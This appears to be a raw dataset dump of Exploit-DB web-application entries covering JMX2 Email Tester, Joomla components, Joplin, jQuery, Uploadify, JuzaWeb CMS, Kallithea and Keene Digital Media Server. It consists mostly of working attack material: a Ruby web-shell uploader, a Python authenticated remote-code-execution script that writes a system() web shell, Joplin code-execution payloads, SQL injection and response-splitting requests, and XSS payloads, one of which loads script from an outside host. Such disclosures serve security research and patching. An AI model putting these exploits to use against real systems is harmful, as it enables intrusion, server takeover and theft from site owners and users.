deardaniel/secdata-raw huggingface dataset:
Exploit-DB #39456
Description: JMX2 Email Tester - 'save_email.php' Arbitrary File Upload
Type: webapps
Platform: multiple
Date: 2016-02-17
Author: HaHwul

Exploit:
# Exploit Title: JMX2 Email Tester - Web Shell Upload(save_email.php)
# Date: 2016-02-15
# Blog: http://www.hahwul.com
# Vendor Homepage: https://github.com/johnfmorton/jmx2-Email-Tester
# Software Link: https://github.com/johnfmorton/jmx2-Email-Tester/archive/master.zip
# Tested on: debian [wheezy]
# CVE : none

require "net/http"
require "uri"
require 'uri-handler'

if ARGV.length != 2

puts "JMX2 Email Tester Web Shell Uploader"
puts "Usage: #>ruby jmx2Email_exploit.rb [targetURL] [phpCode]"
puts "  targetURL(ex): http://127.0.0.1/vul_test/jmx2-Email-Tester"
puts "  phpCode(ex): echo 'zzzzz'"
puts "  Example : ~~.rb http://127.0.0.1/vul_test/jmx2-Email-Tester/emailTester 'echo zzzz'"
puts "  Install GEM: #> gem install uri-handler"
puts "  exploit & code by hahwul[www.hahwul.com]" 
else
target_url = ARGV[0]    # http://127.0.0.1/jmx2-Email-Tester/
shell = ARGV[1]    # PHP Code
shell = shell.to_uri
exp_url = target_url + "/models/save_email.php"
puts shell
uri = URI.parse(exp_url)
http = Net::HTTP.new(uri.host, uri.port)
puts exp_url
request = Net::HTTP::Post.new(uri.request_uri)
request["Accept-Encoding"] = "gzip, deflate"
request["Referer"] = "http://127.0.0.1/vul_test/jmx2-Email-Tester/emailTester/"
request["User-Agent"] = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0"
request["Accept"] = "application/json, text/javascript, */*; q=0.01"
request["Content-Type"] = "application/x-www-form-urlencoded; charset=UTF-8"
request["Connection"] = "keep-alive"
request.set_form_data({"orgfilename"=>"test-email[PII_REDACTED]-org.html","thecontent"=>"%3Chtml%3E%0A%20%20%20%3C%3Fphp%20%0A#{shell}%0A%3F%3E%0A%3C%2Fhtml%3E","inlinefilename"=>"test-email[PII_REDACTED]-inline.php"})
response = http.request(request)

puts "[Result] Status code: "+response.code
puts "[Result] Open Browser: "+target_url+"/_saved_email_files/test-email[PII_REDACTED]-inline.php"
end
Exploit-DB #10754
Description: Joomla! Component com_if_nexus - Remote File Inclusion
Type: webapps
Platform: multiple
Date: 2009-12-28
Author: FL0RiX

Exploit:
\\\|///
\\ - - //
( @ @ )
----oOOo--(_)-oOOo---------------------------
@~~=Author : Fl0riX
@~~=Greez : Deep-Power ,Pyske & All Friends
---------------Ooooo-------------------------
( )
ooooO ) /
( ) (_/
\ (
\_)
@~~=======================================~~@
@~~=Script :Joomla Component com_if_nexus
@~~=======================================~~@
@~~=Vuln

: http://site/ [Yol] /index.php?option=com_if_nexus&controller=[-LFI-]


/ ___ \ \ \ \ \ /\ / /
/ / \/ \ \ / \ \ / /
| | \ \/ / \ \/ /
| \ __ \ / \ /
\ \__/ / \ / \ /
\_____/ \/ \/
Exploit-DB #37767
Description: Joomla! Component com_jem 2.1.4 - Multiple Vulnerabilities
Type: webapps
Platform: multiple
Date: 2015-08-13
Author: Martino Sani

Exploit:
# Exploit Title: Joomla Event Manager 2.1.4 - Multiple Vulnerabilities
# Google Dork: inurl:option=com_jem
# Date: 08-12-2015
# Author: Martino Sani
# Vendor Homepage: www.joomlaeventmanager.net
# Software Link: www.joomlaeventmanager.net/download?download=50:jem-2-1-4-stable
# Version: 2.1.4
# CVE: -

# VULNERABILITIES

##1 SQL Injection

  Resource: index.php?option=com_jem&view=myevents
  Parameter: cid

  Authenticated user can execute arbitrary SQL queries via SQL injection in the functionality that allows to publish/unpublish an event.

### Source Code

  File: sites/models/myevents.php

  function publish($cid = array(), $publish = 1)
  {
     if (is_array($cid) && count($cid)) {
        $cids = implode(',', $cid);
  
        $query = 'UPDATE #__jem_events'
	  . ' SET published = '. (int) $publish
	  . ' WHERE id IN ('. $cids .')'
	  . ' AND (checked_out = 0 OR (checked_out = ' .$userid. '))';
          
        $this->_db->setQuery($query);
     }
  }

### PoC

  POST /joomla3.4.3/index.php?option=com_jem&view=myevents&Itemid=151 HTTP/1.1
  Host: 127.0.0.1
  User-Agent: Mozilla/5.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Referer: http://127.0.0.1/joomla3.4.3/index.php?option=com_jem&view=myevents&Itemid=151
  Cookie: 55cfbe406ffe44b0159d9a943820d207=gauuoq0rqlakkltqj4dd1mpd76; jpanesliders_stat-pane=0; jpanesliders_event-sliders-10=2; d6300469df4ad94ccc019d02bc74f647=4339lu3g2tn4lhg2lvgd8ft263
  Connection: keep-alive
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 352
  
  filter=1&filter_search=&limit=10&cid%5B%5D=1,2)%20AND%20(SELECT%206959%20FROM(SELECT%20COUNT(*),CONCAT(VERSION(),FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20(1577=1577&filter_order=a.dates&filter_order_Dir=&enableemailaddress=0&boxchecked=1&task=myevents.unpublish&option=com_jem&5c597c6e06b1d6627024f147b562ecaf=1

-------------------------------------------------------------------------------------------

##2 Insecure File Upload

  Default JEM settings allows to upload HTML/HTM files as event's attachment.
  An authenticated attacker could upload malicious HTML/HTM files with malicious code (e.g. Javascript).
  These attachments could be reachable on "<website>/media/com_jem/attachments/event/event[id]/" or downloaded and executed locally by the victim's browser.

  Attachments process is handled by "/site/classes/attachments.class.php" file.
  File types allowed by default are in the "/admin/sql/install.mysql.utf.sql" file.

-------------------------------------------------------------------------------------------

# NOTES

  08-01-2015: Vendor notification.
  08-12-2015: Vendor fixes the issues in the development branch.

  The author is not responsible for the misuse of the information provided in this security advisory.
Exploit-DB #9732
Description: Joomla! Component com_jinc 0.2 - 'newsid' Blind SQL Injection
Type: webapps
Platform: multiple
Date: 2009-09-21
Author: Chip d3 bi0s

Exploit:
---------------------------------------------------------------------------------
joomla component com_jinc (newsid) Blind SQL Injection Vulnerability
---------------------------------------------------------------------------------

Author          : Chip D3 Bi0s
Group           : LatiHackTeam
Email           : chipdebios[alt+64]gmail.com
Date            : 21 September 2009
Critical Lvl    : Moderate
Impact	        : Exposure of sensitive information
Where	        : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application     : JINC (Joomla! Integrated Newsletters Component)
version         : 0.2
Developer       : lhacky
License         : GPL            type  : Non-Commercial
Date Added      : 2 September 2009
Demo            : http://www.lhacky.org/jextensions/index.php?option=com_content&view=article&id=18:how-to-use&catid=12:jinc-documentation&Itemid=28

Download        : http://www.lhacky.org/jextensions/index.php?option=com_content&view=article&id=3&Itemid=15

Description     :

JINC (Joomla! Integrated Newsletters Component) is a easy-to-use and administer newsletter component for Joomla!.
Using JINC your website users can auto-subscribe and unsubscribe to newsletters you defined.

JINC includes classical newsletter functionalities

* Newsletter, messages and subscription management.
* TAG substitution inside the messages body.
* User auto-registration with welcome message at subscription time.
* Newsletter Disclaimer.
* HTML and Text Plain messages.
* Massive or personalized messages.
* Reports on message sending.
* Subscription creating user "on the fly".
* Message preview to message creator before sending to the newsletter subscribers


---------------------------------------------------------------------------


I.Blind SQL injection (newsid) Poc/Exploit:
~~~~~~~~~
http://127.0.0.1/[path]/index.php?option=com_jinc&view=messages&newsid=1[blind]


To make, you must be registered

+++++++++++++++++++++++++++++++++++++++
[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++

# milw0rm.com [2009-09-21]
Exploit-DB #48837
Description: Joplin 1.0.245 - Arbitrary Code Execution (PoC)
Type: webapps
Platform: multiple
Date: 2020-09-28
Author: Ademar Nowasky Junior

Exploit:
# Exploit Title: Joplin 1.0.245 - Arbitrary Code Execution (PoC)
# Date: 2020-09-21
# Exploit Author: Ademar Nowasky Junior (@nowaskyjr)
# Vendor Homepage: https://joplinapp.org/
# Software Link: https://github.com/laurent22/joplin/releases/download/v1.0.245/Joplin-Setup-1.0.245.exe
# Version: 1.0.190 to 1.0.245
# Tested on: Windows / Linux
# CVE : CVE-2020-15930
# References:
# https://github.com/laurent22/joplin/commit/57d750bc9aeb0f98d53ed4b924458b54984c15ff

# 1. Technical Details
# An XSS issue in Joplin for desktop v1.0.190 to v1.0.245 allows arbitrary code execution via a malicious HTML embed tag.
# HTML embed tags are not blacklisted in Joplin's renderer. This can be chained with a bug where child windows opened through window.open() have node integration enabled to achieve ACE.
# If Joplin API is enabled, Remote Code Execution with user interaction is possible by abusing the lack of required authentication in Joplin 'POST /notes' api endpoint to remotely deploy the payload into the victim application.

# 2. PoC
# Paste the following payload into a note:

<embed src="data:text/html,<script>opener?require(`child_process`).exec(`calc`):open(location)</script>">

# 2.1 RCE with user interaction
# Enable Joplin API, visit exploit.html and open the created note in Joplin to execute the exploit.
# By default, notes are stored in the last notebook created.

<!-- exploit.html -->
<script>
    x = new XMLHttpRequest;
    j = {
        title: "CVE-2020-15930",
        body: "<embed src='data:text/html,<script>opener?require(`child_process`).exec(`calc`):open(location)<\/script>'>"
    };
    x.open("POST", "http://127.0.0.1:41184/notes");
    x.send(JSON.stringify(j));
</script>

# To create a note in other notebooks you need the notebook ID. It's possible to get the victim's notebooks IDs due to a relaxed CORS policy in 'GET /folders' endpoint.

<!-- notebooks.html -->
<script>
    x = new XMLHttpRequest();
    x.onreadystatechange = function() {
        if (x.readyState == XMLHttpRequest.DONE) {
            alert(x.responseText);
        }
    }
    x.open('GET', 'http://127.0.0.1:41184/folders');
    x.send();
</script>
Exploit-DB #49024
Description: Joplin 1.2.6 - 'link' Cross Site Scripting
Type: webapps
Platform: multiple
Date: 2020-11-09
Author: Philip Holbrook

Exploit:
# Exploit Title: Joplin 1.2.6 - 'link' Cross Site Scripting
# Date: 2020-09-21
# Exploit Author: Philip Holbrook (@fhlipZero)
# Vendor Homepage: https://joplinapp.org/
# Software Link: https://github.com/laurent22/joplin/releases/tag/v1.2.6
# Version: 1.2.6
# Tested on: Windows / Mac
# CVE : CVE-2020-28249
# References:
# https://github.com/fhlip0/JopinXSS/blob/main/readme.md

# 1. Technical Details
# An XSS issue in Joplin for desktop v1.2.6 allows a link tag in a note to
bypass the HTML filter

# 2. PoC
# Paste the following payload into a note:

```
<link rel=import
href="data:text/html&comma;<script>alert(XSS)<&sol;script>
<script src="//brutelogic.com.br&sol;1.js&num; </script>
```
Exploit-DB #49767
Description: jQuery 1.0.3 - Cross-Site Scripting (XSS)
Type: webapps
Platform: multiple
Date: 2021-04-14
Author: Central InfoSec

Exploit:
# Exploit Title: jQuery 1.0.3 - Cross-Site Scripting (XSS)
# Date: 04/29/2020
# Exploit Author: Central InfoSec
# Version: jQuery versions greater than or equal to 1.0.3 and before 3.5.0
# CVE : CVE-2020-11023

# Proof of Concept 1:
<style><style /><img src=x onerror=alert(1)>

# Proof of Concept 2 (Only jQuery 3.x affected):
<img alt="<x" title="/><img src=x onerror=alert(1)>">
Exploit-DB #49766
Description: jQuery 1.2 - Cross-Site Scripting (XSS)
Type: webapps
Platform: multiple
Date: 2021-04-14
Author: Central InfoSec

Exploit:
# Exploit Title: jQuery 1.2 - Cross-Site Scripting (XSS)
# Date: 04/29/2020
# Exploit Author: Central InfoSec
# Version: jQuery versions greater than or equal to 1.2 and before 3.5.0
# CVE : CVE-2020-11022

# Proof of Concept 1:
<option><style></option></select><img src=x onerror=alert(1)></style>
Exploit-DB #52141
Description: jQuery 3.3.1 - Prototype Pollution & XSS Exploit
Type: webapps
Platform: multiple
Date: 2025-04-08
Author: xOryus

Exploit:
# Exploit Title: jQuery Prototype Pollution & XSS Exploit (CVE-2019-11358 & CVE-2020-7656)
# Google Dork: N/A
# Date: 2025-02-13
# Exploit Author: xOryus
# Vendor Homepage: https://jquery.com
# Software Link: https://code.jquery.com/jquery-3.3.1.min.js
# Version: 3.3.1
# Tested on: Windows 10, Ubuntu 20.04, Chrome 120, Firefox 112
# CVE : CVE-2019-11358, CVE-2020-7656
# Category: WebApps

# Description:
# This exploit abuses two vulnerabilities in jQuery:
# - CVE-2020-7656: XSS via improper script handling
# - CVE-2019-11358: Prototype Pollution leading to XSS
# By injecting payloads into a vulnerable page using jQuery <3.4.X, attackers can execute arbitrary JavaScript in the victim's browser.
#
# Usage:
# 1. Load this script in a page that includes jQuery 3.3.1
# 2. Observe two XSS alerts via script injection and prototype pollution.

# PoC (Proof of Concept):
# ------------------------------------

/*
 * Exploit for CVE-2020-7656 and CVE-2019-11358
 * Injects malicious JavaScript into a vulnerable page using jQuery <3.4.X
 */

COPY ALL PAYLOAD AND INSERT ON SITE AND IN BROWSER CONSOLE (F12)

// 1. Load vulnerable jQuery (version 3.3.1)
const script = document.createElement('script');
script.src = "https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js";
document.head.appendChild(script);

// 2. Function to execute after jQuery is loaded
script.onload = function() {
    console.log("[+] Vulnerable jQuery loaded!");

    // 3. Inject malicious content for XSS (CVE-2020-7656)
    const maliciousContent = "<script>alert('XSS via CVE-2020-7656: ' + document.domain)</script >"; // Space after </script>
    $('body').append(maliciousContent);
    console.log("[+] XSS payload (CVE-2020-7656) injected. Alert will be displayed.");

    // 4. Exploit Prototype Pollution (CVE-2019-11358)
    const defaultConfig = {
        "backLink": "<a href='https://example.com'>Go Back</a>"
    };

    const maliciousParams = {
        "__proto__": {
            "backLink": "<svg onload=alert('XSS via CVE-2019-11358: Prototype Pollution!')>"
        }
    };

    // 5. Merge objects using vulnerable $.extend
    let config = $.extend(true, defaultConfig, maliciousParams);
    console.log("[+] Prototype Pollution executed via $.extend().");

    // 6. Create a container to inject malicious content
    const container = document.createElement('div');
    container.id = 'backLinkContainer';
    document.body.appendChild(container);

    // 7. Inject malicious content into the DOM
    $('#backLinkContainer').html(config.backLink);
    console.log("[+] XSS payload (CVE-2019-11358) injected into the DOM. Alert will be displayed.");
};

// 8. Instruction message
console.log("[*] Script injected. Waiting for jQuery to load...");
Exploit-DB #11218
Description: jQuery Uploadify 2.1.0 - Arbitrary File Upload
Type: webapps
Platform: multiple
Date: 2010-01-21
Author: k4cp3r/Ablus

Exploit:
# Exploit Title: jQuery uploadify v2.1.0 Remote File Upload
# Date: 21/01/2010
# Author: k4cp3r/Ablus
# Version: v2.1.0



(uploadify.swf) Actionscript:

function setAllowedTypes():void {
	allowedTypes = [];
	if (param.fileDesc && param.fileExt) {
		var fileDescs:Array = param.fileDesc.split('|');
		var fileExts:Array = param.fileExt.split('|');
		for (var n = 0; n < fileDescs.length; n++) {
			allowedTypes.push(new FileFilter(fileDescs[n], fileExts[n]));
		}
	}
}
setAllowedTypes();

The FileFilter class is used to indicate what files on the user's system are shown in the file-browsing dialog box that is displayed when the FileReference.browse() method; a user can simply bypass this filter by writing the malicious file name and path on the file browser dialog box rather than navigating and choosing it.

Exploit:

#1 : upload your file ie (shell.php)
#2 : Retreive the 'folder' parameter passed to uploadify jquery function
	 from the head of the page source code ie('folder': 'files/',)
#3 : Navigate to your file ie(http://site/files/shell.php)

Fix:

A quick fix is to validate your file type inside uploadify.php before saving it
OR to randomize your file names :)


Greetz to all Al Akhawayn friends
Exploit-DB #52518
Description: JuzaWeb CMS 3.4.2 - Authenticated Remote Code Execution
Type: webapps
Platform: multiple
Date: 2026-04-29
Author: sardordev02

Exploit:
# Exploit Title: JuzaWeb CMS 3.4.2 - Authenticated Remote Code Execution
# Date: 2026-01-10
# Exploit Author: Sardor Shoakbarov
# Author GitHub: https://github.com/TheDeepOpc
# Vendor Homepage: https://juzaweb.com/
# Software Link: https://github.com/juzaweb/
# CVE: N/A (Pending)

import requests
import argparse
from bs4 import BeautifulSoup

def run_exploit():
    parser = argparse.ArgumentParser(description='JuzaWeb Authenticated RCE')
    
    # Setting up the exact syntax you requested
    parser.add_argument('-u', '--url', help='Target URL (e.g. http://127.0.0.1:8000)', required=True)
    parser.add_argument('-user', '--username', help='Admin Username/Email', required=True)
    parser.add_argument('-p', '--password', help='Admin Password', required=True)
    parser.add_argument('-cmd', '--command', help='OS Command to execute (e.g. "ls", "id")', required=True)
    
    args = parser.parse_args()
    target = args.url.rstrip('/')
    session = requests.Session()

    print(f"[*] Targeting: {target}")

    # Step 1: Login
    login_url = f"{target}/admin-cp/login"
    try:
        get_login = session.get(login_url)
        soup = BeautifulSoup(get_login.text, 'html.parser')
        token = soup.find('input', {'name': '_token'})['value']
        
        login_data = {
            '_token': token,
            'email': args.username,
            'password': args.password
        }
        
        res = session.post(login_url, data=login_data)
        if "Dashboard" not in res.text:
            print("[-] Login failed. Check credentials.")
            return
        print("[+] Login Successful.")
    except Exception as e:
        print(f"[-] Error during login: {e}")
        return

    # Step 2: Inject Web Shell
    # Injecting system() into a plugin file as described in the report
    print("[*] Injecting payload into Plugin Editor...")
    editor_url = f"{target}/admin-cp/plugins/editor"
    shell_payload = "<?php if(isset($_GET['cmd'])) { system($_GET['cmd']); die; } ?>"
    
    inject_data = {
        'file': 'src/routes/api.php', # File to overwrite
        'content': shell_payload,
        'plugin': 'juzaweb/example'  # Targeted plugin
    }
    
    session.post(editor_url, data=inject_data)

    # Step 3: Execute Command
    # Accessing the modified route to trigger the command
    print(f"[*] Executing command: {args.command}")
    exec_url = f"{target}/admin-cp/plugins?cmd={args.command}"
    response = session.get(exec_url)
    
    print("\n--- Output ---")
    print(response.text.strip())
    print("--------------")

if __name__ == "__main__":
    run_exploit()
Exploit-DB #38424
Description: Kallithea 0.2.9 - 'came_from' HTTP Response Splitting
Type: webapps
Platform: multiple
Date: 2015-10-08
Author: LiquidWorm

Exploit:

Kallithea 0.2.9 (came_from) HTTP Response Splitting Vulnerability


Vendor: Kallithea
Product web page: https://www.kallithea-scm.org
Version affected: 0.2.9 and 0.2.2

Summary: Kallithea, a member project of Software Freedom Conservancy,
is a GPLv3'd, Free Software source code management system that supports
two leading version control systems, Mercurial and Git, and has a web
interface that is easy to use for users and admins.

Desc: Kallithea suffers from a HTTP header injection (response splitting)
vulnerability because it fails to properly sanitize user input before
using it as an HTTP header value via the GET 'came_from' parameter in
the login instance. This type of attack not only allows a malicious
user to control the remaining headers and body of the response the
application intends to send, but also allow them to create additional
responses entirely under their control.

Tested on: Kali
           Python


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2015-5267
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5267.php
Vendor: https://kallithea-scm.org/news/release-0.3.html
Vendor Advisory: https://kallithea-scm.org/security/cve-2015-5285.html
CVE ID: 2015-5285
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5285


21.09.2015

--


GET /_admin/login?came_from=d47b5%0d%0aX-Forwarded-Host%3a%20http://zeroscience.mk%01%02%0d%0aLocation%3a%20http://zeroscience.mk HTTP/1.1
Host: 192.168.0.28:8080
Content-Length: 0
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://192.168.0.28:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://192.168.0.28:8080/_admin/login?came_from=%2F
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: kallithea=3090b35b3e37ba350d71b62c240c50bf87932f0d7e6b1a600cba4e0e890b7e29e253b438

###

HTTP/1.1 302 Found
Cache-Control: no-cache
Content-Length: 411
Content-Type: text/html; charset=UTF-8
Date: Mon, 21 Sep 2015 13:58:05 GMT
Location: http://192.168.0.28:8080/_admin/d47b5
X-Forwarded-Host: http://zeroscience.mk
Location: http://zeroscience.mk
Pragma: no-cache
Server: waitress

<html>
 <head>
  <title>302 Found</title>
 </head>
 <body>
  <h1>302 Found</h1>
  The resource was found at <a href="http://192.168.0.28:8080/_admin/d47b5
X-Forwarded-Host: http://zeroscience.mk
Location: http://zeroscience.mk">http://192.168.0.28:8080/_admin/d47b5
X-Forwarded-Host: http://zeroscience.mk
Location: http://zeroscience.mk</a>;
you should be redirected automatically.


 </body>
</html>
Exploit-DB #24573
Description: Keene Digital Media Server 1.0.2 - Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2004-09-04
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/11111/info

Keene Digital Media Server is prone to multiple cross-site scripting vulnerabilities. These issues span multiple scripts. The source of the problem is that affected scripts do not sufficiently sanitize externally supplied data before rendering it to a client user. An attacker may exploit these issues by enticing a victim user to follow a malicious link.

These issues could be exploited to steal cookie-based authentication credentials or launch other attacks.

http://www.example.com/dms/slideshow.kspx?shidx=0&idx=-1&sort=d&style=t&delay=15&playmode=play&source=[code]
http://www.example.com/dms/slideshow.kspx?source=[code]
http://www.example.com/dms/dlasx.kspx?shidx=[code]
http://www.example.com/igen/?pg=dlasx.kspx&shidx=[code]
http://www.example.com/dms/mediashowplay.kspx?pic=[code]&idx=0
http://www.example.com/dms/mediashowplay.kspx?pic=0&idx=[code]